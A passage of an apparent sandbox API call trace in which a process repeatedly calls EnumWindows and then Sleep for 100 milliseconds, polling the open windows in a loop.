lParam=0x2290000) [0130.713] Sleep (dwMilliseconds=0x64) [0130.714] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.715] Sleep (dwMilliseconds=0x64) [0130.717] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.717] Sleep (dwMilliseconds=0x64) [0130.718] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.719] Sleep (dwMilliseconds=0x64) [0130.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.720] Sleep (dwMilliseconds=0x64) [0130.722] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.722] Sleep (dwMilliseconds=0x64) [0130.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.724] Sleep (dwMilliseconds=0x64) [0130.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.725] Sleep (dwMilliseconds=0x64) [0130.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.727] Sleep (dwMilliseconds=0x64) [0130.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.729] Sleep (dwMilliseconds=0x64) [0130.733] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.733] Sleep (dwMilliseconds=0x64) [0130.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.753] Sleep (dwMilliseconds=0x64) [0130.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.755] Sleep (dwMilliseconds=0x64) [0130.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.757] Sleep (dwMilliseconds=0x64) [0130.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.759] Sleep (dwMilliseconds=0x64) [0130.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.760] Sleep (dwMilliseconds=0x64) [0130.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.762] Sleep (dwMilliseconds=0x64) [0130.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.798] Sleep (dwMilliseconds=0x64) [0130.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.858] Sleep (dwMilliseconds=0x64) [0130.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.860] Sleep (dwMilliseconds=0x64) [0130.862] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.862] Sleep (dwMilliseconds=0x64) [0130.863] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.865] Sleep (dwMilliseconds=0x64) [0130.868] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.868] Sleep (dwMilliseconds=0x64) [0130.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.869] Sleep (dwMilliseconds=0x64) [0130.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.871] Sleep (dwMilliseconds=0x64) [0130.900] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.900] Sleep (dwMilliseconds=0x64) [0130.902] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.902] Sleep (dwMilliseconds=0x64) [0130.916] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.917] Sleep (dwMilliseconds=0x64) [0130.918] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.920] Sleep (dwMilliseconds=0x64) [0130.921] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.921] Sleep (dwMilliseconds=0x64) [0130.923] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.923] Sleep (dwMilliseconds=0x64) [0130.925] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.925] Sleep (dwMilliseconds=0x64) [0130.931] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.931] Sleep (dwMilliseconds=0x64) [0130.934] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.934] Sleep (dwMilliseconds=0x64) [0130.935] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.935] Sleep (dwMilliseconds=0x64) [0130.937] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.937] Sleep (dwMilliseconds=0x64) [0130.939] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.939] Sleep (dwMilliseconds=0x64) [0130.941] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.942] Sleep (dwMilliseconds=0x64) [0130.943] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.943] Sleep (dwMilliseconds=0x64) [0130.945] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.945] Sleep (dwMilliseconds=0x64) [0130.946] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.946] Sleep (dwMilliseconds=0x64) [0130.950] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.950] Sleep (dwMilliseconds=0x64) [0130.952] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.952] Sleep (dwMilliseconds=0x64) [0130.954] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.954] Sleep (dwMilliseconds=0x64) [0130.955] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.955] Sleep (dwMilliseconds=0x64) [0130.957] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.957] Sleep (dwMilliseconds=0x64) [0130.958] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.959] Sleep (dwMilliseconds=0x64) [0130.960] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.960] Sleep (dwMilliseconds=0x64) [0130.962] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.962] Sleep (dwMilliseconds=0x64) [0130.964] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.964] Sleep (dwMilliseconds=0x64) [0130.965] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.965] Sleep (dwMilliseconds=0x64) [0130.967] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.967] Sleep (dwMilliseconds=0x64) [0130.969] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.969] Sleep (dwMilliseconds=0x64) [0130.971] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.971] Sleep (dwMilliseconds=0x64) [0130.973] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.973] Sleep (dwMilliseconds=0x64) [0130.975] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.975] Sleep (dwMilliseconds=0x64) [0130.977] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.980] Sleep (dwMilliseconds=0x64) [0130.981] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.981] Sleep (dwMilliseconds=0x64) [0130.983] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.983] Sleep (dwMilliseconds=0x64) [0130.984] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.984] Sleep (dwMilliseconds=0x64) [0130.986] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.986] Sleep (dwMilliseconds=0x64) [0130.987] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0130.987] Sleep (dwMilliseconds=0x64) [0131.038] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.039] Sleep (dwMilliseconds=0x64) [0131.122] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.122] Sleep (dwMilliseconds=0x64) [0131.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.215] Sleep (dwMilliseconds=0x64) [0131.267] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.267] Sleep (dwMilliseconds=0x64) [0131.274] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.274] Sleep (dwMilliseconds=0x64) [0131.275] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.276] Sleep (dwMilliseconds=0x64) [0131.277] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.277] Sleep (dwMilliseconds=0x64) [0131.279] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.279] Sleep (dwMilliseconds=0x64) [0131.281] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.281] Sleep (dwMilliseconds=0x64) [0131.283] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.283] Sleep (dwMilliseconds=0x64) [0131.285] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.285] Sleep (dwMilliseconds=0x64) [0131.287] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.287] Sleep (dwMilliseconds=0x64) [0131.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.288] Sleep (dwMilliseconds=0x64) [0131.290] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.290] Sleep (dwMilliseconds=0x64) [0131.292] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.292] Sleep (dwMilliseconds=0x64) [0131.295] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.295] Sleep (dwMilliseconds=0x64) [0131.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.296] Sleep (dwMilliseconds=0x64) [0131.365] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.365] Sleep (dwMilliseconds=0x64) [0131.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.367] Sleep (dwMilliseconds=0x64) [0131.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.368] Sleep (dwMilliseconds=0x64) [0131.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.370] Sleep (dwMilliseconds=0x64) [0131.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.372] Sleep (dwMilliseconds=0x64) [0131.373] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.374] Sleep (dwMilliseconds=0x64) [0131.377] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.378] Sleep (dwMilliseconds=0x64) [0131.379] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.379] Sleep (dwMilliseconds=0x64) [0131.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.381] Sleep (dwMilliseconds=0x64) [0131.382] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.383] Sleep (dwMilliseconds=0x64) [0131.384] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.384] Sleep (dwMilliseconds=0x64) [0131.385] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.385] Sleep (dwMilliseconds=0x64) [0131.387] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.387] Sleep (dwMilliseconds=0x64) [0131.388] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.388] Sleep (dwMilliseconds=0x64) [0131.390] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.390] Sleep (dwMilliseconds=0x64) [0131.392] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.393] Sleep (dwMilliseconds=0x64) [0131.394] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.395] Sleep (dwMilliseconds=0x64) [0131.396] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.396] Sleep (dwMilliseconds=0x64) [0131.398] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.399] Sleep (dwMilliseconds=0x64) [0131.405] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.405] Sleep (dwMilliseconds=0x64) [0131.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.447] Sleep (dwMilliseconds=0x64) [0131.448] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.449] Sleep (dwMilliseconds=0x64) [0131.450] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.450] Sleep (dwMilliseconds=0x64) [0131.452] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.453] Sleep (dwMilliseconds=0x64) [0131.454] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.454] Sleep (dwMilliseconds=0x64) [0131.456] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.456] Sleep (dwMilliseconds=0x64) [0131.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.457] Sleep (dwMilliseconds=0x64) [0131.473] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.473] Sleep (dwMilliseconds=0x64) [0131.510] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.511] Sleep (dwMilliseconds=0x64) [0131.606] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.606] Sleep (dwMilliseconds=0x64) [0131.646] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.646] Sleep (dwMilliseconds=0x64) [0131.647] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.648] Sleep (dwMilliseconds=0x64) [0131.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.649] Sleep (dwMilliseconds=0x64) [0131.650] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.650] Sleep (dwMilliseconds=0x64) [0131.652] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.652] Sleep (dwMilliseconds=0x64) [0131.654] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.654] Sleep (dwMilliseconds=0x64) [0131.656] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.656] Sleep (dwMilliseconds=0x64) [0131.657] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.658] Sleep (dwMilliseconds=0x64) [0131.659] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.659] Sleep (dwMilliseconds=0x64) [0131.660] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.662] Sleep (dwMilliseconds=0x64) [0131.663] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.664] Sleep (dwMilliseconds=0x64) [0131.665] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.665] Sleep (dwMilliseconds=0x64) [0131.666] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.667] Sleep (dwMilliseconds=0x64) [0131.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.668] Sleep (dwMilliseconds=0x64) [0131.669] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.670] Sleep (dwMilliseconds=0x64) [0131.671] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.671] Sleep (dwMilliseconds=0x64) [0131.672] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.673] Sleep (dwMilliseconds=0x64) [0131.674] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.674] Sleep (dwMilliseconds=0x64) [0131.675] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.676] Sleep (dwMilliseconds=0x64) [0131.677] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.677] Sleep (dwMilliseconds=0x64) [0131.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.681] Sleep (dwMilliseconds=0x64) [0131.683] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.683] Sleep (dwMilliseconds=0x64) [0131.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.684] Sleep (dwMilliseconds=0x64) [0131.686] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.686] Sleep (dwMilliseconds=0x64) [0131.687] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.687] Sleep (dwMilliseconds=0x64) [0131.689] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.689] Sleep (dwMilliseconds=0x64) [0131.690] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.690] Sleep (dwMilliseconds=0x64) [0131.692] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.692] Sleep (dwMilliseconds=0x64) [0131.693] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.693] Sleep (dwMilliseconds=0x64) [0131.695] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.695] Sleep (dwMilliseconds=0x64) [0131.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.697] Sleep (dwMilliseconds=0x64) [0131.698] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.698] Sleep (dwMilliseconds=0x64) [0131.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.700] Sleep (dwMilliseconds=0x64) [0131.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.702] Sleep (dwMilliseconds=0x64) [0131.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.704] Sleep (dwMilliseconds=0x64) [0131.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.707] Sleep (dwMilliseconds=0x64) [0131.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.709] Sleep (dwMilliseconds=0x64) [0131.710] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.710] Sleep (dwMilliseconds=0x64) [0131.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.712] Sleep (dwMilliseconds=0x64) [0131.713] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.713] Sleep (dwMilliseconds=0x64) [0131.715] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.716] Sleep (dwMilliseconds=0x64) [0131.717] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.718] Sleep (dwMilliseconds=0x64) [0131.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.719] Sleep (dwMilliseconds=0x64) [0131.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.721] Sleep (dwMilliseconds=0x64) [0131.722] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.722] Sleep (dwMilliseconds=0x64) [0131.724] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.724] Sleep (dwMilliseconds=0x64) [0131.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.726] Sleep (dwMilliseconds=0x64) [0131.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.727] Sleep (dwMilliseconds=0x64) [0131.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.729] Sleep (dwMilliseconds=0x64) [0131.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.730] Sleep (dwMilliseconds=0x64) [0131.732] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.732] Sleep (dwMilliseconds=0x64) [0131.733] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.734] Sleep (dwMilliseconds=0x64) [0131.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.737] Sleep (dwMilliseconds=0x64) [0131.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.739] Sleep (dwMilliseconds=0x64) [0131.740] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.740] Sleep (dwMilliseconds=0x64) [0131.742] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.742] Sleep (dwMilliseconds=0x64) [0131.744] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.744] Sleep (dwMilliseconds=0x64) [0131.745] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.746] Sleep (dwMilliseconds=0x64) [0131.747] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.747] Sleep (dwMilliseconds=0x64) [0131.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.749] Sleep (dwMilliseconds=0x64) [0131.751] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.751] Sleep (dwMilliseconds=0x64) [0131.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.752] Sleep (dwMilliseconds=0x64) [0131.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.754] Sleep (dwMilliseconds=0x64) [0131.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.755] Sleep (dwMilliseconds=0x64) [0131.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.758] Sleep (dwMilliseconds=0x64) [0131.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.760] Sleep (dwMilliseconds=0x64) [0131.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.762] Sleep (dwMilliseconds=0x64) [0131.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.764] Sleep (dwMilliseconds=0x64) [0131.765] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.766] Sleep (dwMilliseconds=0x64) [0131.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.767] Sleep (dwMilliseconds=0x64) [0131.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.769] Sleep (dwMilliseconds=0x64) [0131.770] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.771] Sleep (dwMilliseconds=0x64) [0131.772] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.773] Sleep (dwMilliseconds=0x64) [0131.774] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.775] Sleep (dwMilliseconds=0x64) [0131.777] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.777] Sleep (dwMilliseconds=0x64) [0131.779] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.780] Sleep (dwMilliseconds=0x64) [0131.781] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.781] Sleep (dwMilliseconds=0x64) [0131.783] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.783] Sleep (dwMilliseconds=0x64) [0131.784] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.785] Sleep (dwMilliseconds=0x64) [0131.787] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.787] Sleep (dwMilliseconds=0x64) [0131.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.789] Sleep (dwMilliseconds=0x64) [0131.790] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.790] Sleep (dwMilliseconds=0x64) [0131.792] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.792] Sleep (dwMilliseconds=0x64) [0131.794] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.794] Sleep (dwMilliseconds=0x64) [0131.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.796] Sleep (dwMilliseconds=0x64) [0131.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.797] Sleep (dwMilliseconds=0x64) [0131.799] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.799] Sleep (dwMilliseconds=0x64) [0131.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.804] Sleep (dwMilliseconds=0x64) [0131.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.806] Sleep (dwMilliseconds=0x64) [0131.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.808] Sleep (dwMilliseconds=0x64) [0131.810] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.810] Sleep (dwMilliseconds=0x64) [0131.812] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.813] Sleep (dwMilliseconds=0x64) [0131.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.814] Sleep (dwMilliseconds=0x64) [0131.817] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.817] Sleep (dwMilliseconds=0x64) [0131.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.818] Sleep (dwMilliseconds=0x64) [0131.820] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.820] Sleep (dwMilliseconds=0x64) [0131.822] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.822] Sleep (dwMilliseconds=0x64) [0131.824] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.824] Sleep (dwMilliseconds=0x64) [0131.828] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.828] Sleep (dwMilliseconds=0x64) [0131.830] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.830] Sleep (dwMilliseconds=0x64) [0131.832] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.832] Sleep (dwMilliseconds=0x64) [0131.833] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.833] Sleep (dwMilliseconds=0x64) [0131.835] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.836] Sleep (dwMilliseconds=0x64) [0131.838] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.839] Sleep (dwMilliseconds=0x64) [0131.841] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.842] Sleep (dwMilliseconds=0x64) [0131.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.848] Sleep (dwMilliseconds=0x64) [0131.851] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.851] Sleep (dwMilliseconds=0x64) [0131.854] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.854] Sleep (dwMilliseconds=0x64) [0131.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.856] Sleep (dwMilliseconds=0x64) [0131.858] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.858] Sleep (dwMilliseconds=0x64) [0131.860] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.860] Sleep (dwMilliseconds=0x64) [0131.862] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.862] Sleep (dwMilliseconds=0x64) [0131.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.864] Sleep (dwMilliseconds=0x64) [0131.866] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.866] Sleep (dwMilliseconds=0x64) [0131.868] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.869] Sleep (dwMilliseconds=0x64) [0131.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.871] Sleep (dwMilliseconds=0x64) [0131.911] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.912] Sleep (dwMilliseconds=0x64) [0131.913] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.914] Sleep (dwMilliseconds=0x64) [0131.916] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.947] Sleep (dwMilliseconds=0x64) [0131.949] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.949] Sleep (dwMilliseconds=0x64) [0131.988] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.989] Sleep (dwMilliseconds=0x64) [0131.992] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.993] Sleep (dwMilliseconds=0x64) [0131.996] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.996] Sleep (dwMilliseconds=0x64) [0131.998] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0131.999] Sleep (dwMilliseconds=0x64) [0132.000] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.000] Sleep (dwMilliseconds=0x64) [0132.002] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.002] Sleep (dwMilliseconds=0x64) [0132.004] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.005] Sleep (dwMilliseconds=0x64) [0132.007] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.007] Sleep (dwMilliseconds=0x64) [0132.008] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0132.009] Sleep (dwMilliseconds=0x64) [0132.010] EnumWindows (lpEnumFunc=0x403dd0, 